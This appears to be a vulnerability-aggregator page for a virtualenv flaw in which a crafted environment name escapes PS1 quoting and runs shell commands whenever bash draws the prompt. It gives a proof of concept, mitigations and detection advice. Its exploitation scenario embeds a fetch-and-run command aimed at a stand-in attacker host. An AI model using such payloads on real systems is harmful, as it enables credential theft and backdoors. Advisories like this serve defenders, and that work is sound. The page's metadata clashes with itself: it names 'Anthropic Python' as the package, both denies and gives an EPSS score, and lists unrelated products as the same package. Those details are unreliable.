CVE-2026-113725: virtualenv: PS1 escaping flaw allows shell command execution
GHSA-vxj4-q4g9-crj7HIGHvirtualenv's bash activate script escapes the environment name for only one of the two passes bash makes over PS1, so a name containing a backslash plus $(...) runs as commands every time the prompt is drawn. This is a developer-workstation and CI risk rather than a remote one: it needs a user to source activate for an environment whose name an attacker influenced, such as a branch, job or directory name in a cloned repo or unpacked archive (CVSS 7.8, local, user interaction required). virtualenv has about 6,390 tracked dependents and sits under most Python AI/ML tooling, but there is no EPSS data, no KEV listing, no public exploit and no Nuclei template, so mass exploitation is unlikely today. The proof of concept is trivial, though, and the commands run with the developer's full privileges, where they can reach cloud credentials, API keys and model artifacts. Upgrade to virtualenv 21.14.7, and until then set VIRTUAL_ENV_DISABLE_PROMPT=1 and review the names of environments you did not create.
What is the risk?
High severity (CVSS 7.8) but moderate practical risk. Exploitation needs local context and a user to source activate, so the attack surface is developer machines, shared build hosts and CI runners that create environments from untrusted names (branch, project or job names, --prompt, VIRTUALENV_PROMPT). The PoC is a single command and trivial to craft. No EPSS score, KEV listing, public exploit or scanner template is known. Releases before 21.13.0 do not escape the name at all, and 21.13.0 through 21.14.6 are partially escaped and still vulnerable. Root shells are not exploitable because bash decodes \$ to # there, and zsh is not affected.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | pip | <= 21.14.6 | 21.14.7 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade virtualenv to 21.14.7 or later (fix commit c3104e02) on developer machines, CI images and base containers. 2) Until patched, set VIRTUAL_ENV_DISABLE_PROMPT=1 before sourcing activate, or run 'shopt -u promptvars' if your prompt does not need expansion. 3) Do not pass untrusted values (branch names, job names, archive or directory names) to --prompt, VIRTUALENV_PROMPT or environment directory names. 4) Inspect the names of environments you did not create before sourcing them. 5) Detection: search CI configuration and wrapper scripts for virtualenv --prompt calls fed by external input, look for environment directory names or PS1 values containing '\$(' or backticks, and review shell history and EDR alerts for unexpected child processes spawned from interactive bash sessions. 6) Run CI jobs with minimal credentials.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-113725?
virtualenv's bash activate script escapes the environment name for only one of the two passes bash makes over PS1, so a name containing a backslash plus $(...) runs as commands every time the prompt is drawn. This is a developer-workstation and CI risk rather than a remote one: it needs a user to source activate for an environment whose name an attacker influenced, such as a branch, job or directory name in a cloned repo or unpacked archive (CVSS 7.8, local, user interaction required). virtualenv has about 6,390 tracked dependents and sits under most Python AI/ML tooling, but there is no EPSS data, no KEV listing, no public exploit and no Nuclei template, so mass exploitation is unlikely today. The proof of concept is trivial, though, and the commands run with the developer's full privileges, where they can reach cloud credentials, API keys and model artifacts. Upgrade to virtualenv 21.14.7, and until then set VIRTUAL_ENV_DISABLE_PROMPT=1 and review the names of environments you did not create.
Is CVE-2026-113725 actively exploited?
No confirmed active exploitation of CVE-2026-113725 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-113725?
1) Upgrade virtualenv to 21.14.7 or later (fix commit c3104e02) on developer machines, CI images and base containers. 2) Until patched, set VIRTUAL_ENV_DISABLE_PROMPT=1 before sourcing activate, or run 'shopt -u promptvars' if your prompt does not need expansion. 3) Do not pass untrusted values (branch names, job names, archive or directory names) to --prompt, VIRTUALENV_PROMPT or environment directory names. 4) Inspect the names of environments you did not create before sourcing them. 5) Detection: search CI configuration and wrapper scripts for virtualenv --prompt calls fed by external input, look for environment directory names or PS1 values containing '\$(' or backticks, and review shell history and EDR alerts for unexpected child processes spawned from interactive bash sessions. 6) Run CI jobs with minimal credentials.
What systems are affected by CVE-2026-113725?
This vulnerability affects the following AI/ML architecture patterns: Developer workstations, Training pipelines, CI/CD for ML pipelines, Notebook and experimentation environments, Python packaging and environment management.
What is the CVSS score for CVE-2026-113725?
CVE-2026-113725 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.26%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001AI SoftwareAML.T0011User ExecutionAML.T0050Command and Scripting InterpreterCompliance Controls Affected
What are the technical details?
Original Advisory
### Summary The bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a backslash in the name undoes the escaping and a name containing `\$(...)` runs as commands in the user's shell each time bash draws the prompt. ### Affected area `src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`. ### Attacker-controlled input The environment name: the environment directory's name, or the `--prompt` or `VIRTUALENV_PROMPT` value. An attacker needs to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive. `--prompt .` takes the current directory's name. ### Details bash handles `PS1` in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning `\\` into `\` and `\$` into `$` (or `#` for root), and then runs parameter expansion, command substitution and arithmetic expansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only for the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before 21.13.0 do not escape the name at all. A bash running as root decodes `\$` to `#`, so the payload shows the wrong text there but runs nothing. zsh does no decode pass and is not affected. ### Proof of concept ```console $ virtualenv --prompt 'a\$(touch PWNED)' env $ bash --norc --noprofile -c 'source env/bin/activate; printf "%s" "${PS1@P}"' $ ls PWNED PWNED ``` ### Impact Arbitrary command execution in the shell of a user who sources the `activate` script of an environment whose name an attacker influenced, with that user's privileges, once per prompt draw. ### Versions tested 21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root. ### Known mitigation Set `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run `shopt -u promptvars` if your prompt does not need expansion. Check the name of an environment you did not create before you source its `activate`. ### Latest release - [x] The problem reproduces on the latest virtualenv release. 21.14.6 ### Patches Fixed in 21.14.7. Under bash, `activate` now escapes backslashes, dollar signs and backticks for both passes, so the example above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs. Fix: https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932 ### Credits Found while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.
Exploitation Scenario
An attacker opens a pull request or publishes a repo or archive for an ML project whose branch or directory name is a:\$(curl attacker.example|sh). A wrapper script or CI helper creates a virtualenv with that name as the prompt, or a developer clones the repo and runs 'source env/bin/activate' in bash. On the next prompt draw, bash runs the embedded command with the developer's privileges, exfiltrating cloud and API credentials or planting a backdoor in the training pipeline. The payload re-runs on every prompt.
Weaknesses (CWE)
CWE-116Improper Encoding or Escaping of OutputPrimaryCWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')PrimaryCWE-116 — Improper Encoding or Escaping of Output: The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
- [Architecture and Design] If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
Timeline
Related Vulnerabilities
CVE-2026-9460310.0Podman: checkpoint images override sandbox on run
Same package: anthropicCVE-2026-544498.8LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropicCVE-2026-277758.8Gitea: cached permission check allows repo takeover
Same package: anthropicCVE-2026-554298.7Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropicCVE-2026-75748.7Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic